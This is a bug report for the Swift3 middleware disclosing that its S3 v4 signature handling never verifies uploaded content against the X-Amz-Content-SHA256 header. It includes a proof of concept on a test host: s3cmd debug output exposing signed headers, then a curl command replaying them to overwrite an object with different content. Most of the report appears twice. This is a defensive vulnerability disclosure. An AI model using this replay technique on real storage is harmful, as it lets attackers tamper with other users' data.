Swift3

Bug #1765834
Comment #0

Comment 0 for bug 1765834

Revision history for this message

Tim Burke (1-tim-z) wrote on 2018-04-20:

When we added support for v4 signatures, we (correctly) require that the client provide a X-Amz-Content-SHA256 header and use it in computing the expected signature. However, we never verify that the content sent actually matches the SHA! As a result, an attacker that manages to capture the headers for a PUT request has a 5-minute window to overwrite the object with arbitrary content of the same length:

[11:50:08] $ echo 'GOOD' > good.txt

[11:50:12] $ echo 'BAD!' > bad.txt

[11:50:36] $ s3cmd put --debug good.txt s3://bucket
DEBUG: s3cmd version 1.6.1
DEBUG: ConfigParser: Reading file '/Users/tburke/.s3cfg'
DEBUG: ConfigParser: access_key->te...8_chars...r
DEBUG: ConfigParser: secret_key->te...4_chars...g
DEBUG: ConfigParser: host_base->saio:8080
DEBUG: ConfigParser: host_bucket->saio:8080
DEBUG: ConfigParser: use_https->False
DEBUG: Updating Config.Config cache_file ->
DEBUG: Updating Config.Config follow_symlinks -> False
DEBUG: Updating Config.Config verbosity -> 10
DEBUG: Unicodising 'put' using UTF-8
DEBUG: Unicodising 'good.txt' using UTF-8
DEBUG: Unicodising 's3://bucket' using UTF-8
DEBUG: Command: put
DEBUG: DeUnicodising u'good.txt' using UTF-8
INFO: Compiling list of local files...
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Unicodising '' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Applying --exclude/--include
DEBUG: CHECK: good.txt
DEBUG: PASS: u'good.txt'
INFO: Running stat() and reading/calculating MD5 values on 1 files, this may take some time...
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: doing file I/O to read md5 of good.txt
DEBUG: DeUnicodising u'good.txt' using UTF-8
INFO: Summary: 1 local files to upload
DEBUG: attr_header: {'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212'}
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: String 'good.txt' encoded to 'good.txt'
DEBUG: CreateRequest: resource[uri]=/good.txt
DEBUG: Using signature v4
DEBUG: get_hostname(bucket): saio:8080
DEBUG: canonical_headers = content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD

DEBUG: Canonical Request:
PUT
/bucket/good.txt

content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD

content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=e79e1dd2fcd3ba125d3186abdbaf428992c478ad59380eab4d81510cfc494e43'}
DEBUG: Unicodising 'good.txt' using UTF-8
upload: 'good.txt' -> 's3://bucket/good.txt' [1 of 1]
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Using signature v4
DEBUG: get_hostname(bucket): saio:8080
DEBUG: canonical_headers = content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD

DEBUG: Canonical Request:
PUT
/bucket/good.txt

content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD

content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'd43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'}
DEBUG: get_hostname(bucket): saio:8080
DEBUG: ConnMan.get(): creating new connection: http://saio:8080
DEBUG: non-proxied HTTPConnection(saio:8080)
DEBUG: format_uri(): /bucket/good.txt
5 of 5 100% in 0s 373.44 B/sDEBUG: ConnMan.put(): connection put back to pool (http://saio:8080#1)
DEBUG: Response: {'status': 200, 'headers': {'content-length': '0', 'x-amz-id-2': 'tx98be5ca4733e430eb4a76-005ada3696', 'x-trans-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'last-modified': 'Fri, 20 Apr 2018 18:51:03 GMT', 'etag': '"f9d9dc2bab2572ba95cfd67b596a6d1a"', 'x-amz-request-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'date': 'Fri, 20 Apr 2018 18:51:02 GMT', 'content-type': 'text/html; charset=UTF-8', 'x-openstack-request-id': 'tx98be5ca4733e430eb4a76-005ada3696'}, 'reason': 'OK', 'data': '', 'size': 5L}
5 of 5 100% in 0s 56.02 B/s done
DEBUG: MD5 sums: computed=f9d9dc2bab2572ba95cfd67b596a6d1a, received="f9d9dc2bab2572ba95cfd67b596a6d1a"
/Users/tburke/.virtualenvs/Python27/lib/python2.7/site-packages/magic/identify.py:62: RuntimeWarning: Implicitly cleaning up <magic.api.LP_Cookie object at 0x110369050>
CleanupWarning)

[11:51:02] $ curl -v http://saio:8080/bucket/good.txt -T bad.txt -H 'x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7' -H 'x-amz-storage-class: STANDARD' -H 'x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212' -H 'x-amz-date: 20180420T185102Z' -H 'content-type: text/plain' -H 'Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'
* Trying 192.168.8.80...
* TCP_NODELAY set
* Connected to saio (192.168.8.80) port 8080 (#0)
> PUT /bucket/good.txt HTTP/1.1
> Host: saio:8080
> User-Agent: curl/7.54.0
> Accept: application/json;q=1, text/*;q=.9, */*;q=.8
> x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
> x-amz-storage-class: STANDARD
> x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
> x-amz-date: 20180420T185102Z
> content-type: text/plain
> Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b
> Content-Length: 5
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 0
< x-amz-id-2: tx348d466b04cd425b81760-005ada3718
< Last-Modified: Fri, 20 Apr 2018 18:53:13 GMT
< ETag: "6cd890020ad6ab38782de144aa831f24"
< x-amz-request-id: tx348d466b04cd425b81760-005ada3718
< Content-Type: text/html; charset=UTF-8
< X-Trans-Id: tx348d466b04cd425b81760-005ada3718
< X-Openstack-Request-Id: tx348d466b04cd425b81760-005ada3718
< Date: Fri, 20 Apr 2018 18:53:13 GMT
<
* Connection #0 to host saio left intact

---

I've attached a fix, but it could use tests :-/

[11:50:08] $ echo 'GOOD' > good.txt

[11:50:12] $ echo 'BAD!' > bad.txt

DEBUG: Canonical Request:
PUT
/bucket/good.txt

content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=e79e1dd2fcd3ba125d3186abdbaf428992c478ad59380eab4d81510cfc494e43'}
DEBUG: Unicodising 'good.txt' using UTF-8
upload: 'good.txt' -> 's3://bucket/good.txt'  [1 of 1]
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Using signature v4
DEBUG: get_hostname(bucket): saio:8080
DEBUG: canonical_headers = content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD

DEBUG: Canonical Request:
PUT
/bucket/good.txt

content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'd43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'}
DEBUG: get_hostname(bucket): saio:8080
DEBUG: ConnMan.get(): creating new connection: http://saio:8080
DEBUG: non-proxied HTTPConnection(saio:8080)
DEBUG: format_uri(): /bucket/good.txt
 5 of 5   100% in    0s   373.44 B/sDEBUG: ConnMan.put(): connection put back to pool (http://saio:8080#1)
DEBUG: Response: {'status': 200, 'headers': {'content-length': '0', 'x-amz-id-2': 'tx98be5ca4733e430eb4a76-005ada3696', 'x-trans-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'last-modified': 'Fri, 20 Apr 2018 18:51:03 GMT', 'etag': '"f9d9dc2bab2572ba95cfd67b596a6d1a"', 'x-amz-request-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'date': 'Fri, 20 Apr 2018 18:51:02 GMT', 'content-type': 'text/html; charset=UTF-8', 'x-openstack-request-id': 'tx98be5ca4733e430eb4a76-005ada3696'}, 'reason': 'OK', 'data': '', 'size': 5L}
 5 of 5   100% in    0s    56.02 B/s  done
DEBUG: MD5 sums: computed=f9d9dc2bab2572ba95cfd67b596a6d1a, received="f9d9dc2bab2572ba95cfd67b596a6d1a"
/Users/tburke/.virtualenvs/Python27/lib/python2.7/site-packages/magic/identify.py:62: RuntimeWarning: Implicitly cleaning up <magic.api.LP_Cookie object at 0x110369050>
  CleanupWarning)

[11:51:02] $ curl -v http://saio:8080/bucket/good.txt -T bad.txt -H 'x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7' -H 'x-amz-storage-class: STANDARD' -H 'x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212' -H 'x-amz-date: 20180420T185102Z' -H 'content-type: text/plain' -H 'Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'
*   Trying 192.168.8.80...
* TCP_NODELAY set
* Connected to saio (192.168.8.80) port 8080 (#0)
> PUT /bucket/good.txt HTTP/1.1
> Host: saio:8080
> User-Agent: curl/7.54.0
> Accept: application/json;q=1, text/*;q=.9, */*;q=.8
> x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
> x-amz-storage-class: STANDARD
> x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
> x-amz-date: 20180420T185102Z
> content-type: text/plain
> Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b
> Content-Length: 5
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 0
< x-amz-id-2: tx348d466b04cd425b81760-005ada3718
< Last-Modified: Fri, 20 Apr 2018 18:53:13 GMT
< ETag: "6cd890020ad6ab38782de144aa831f24"
< x-amz-request-id: tx348d466b04cd425b81760-005ada3718
< Content-Type: text/html; charset=UTF-8
< X-Trans-Id: tx348d466b04cd425b81760-005ada3718
< X-Openstack-Request-Id: tx348d466b04cd425b81760-005ada3718
< Date: Fri, 20 Apr 2018 18:53:13 GMT
<
* Connection #0 to host saio left intact

---

I've attached a fix, but it could use tests :-/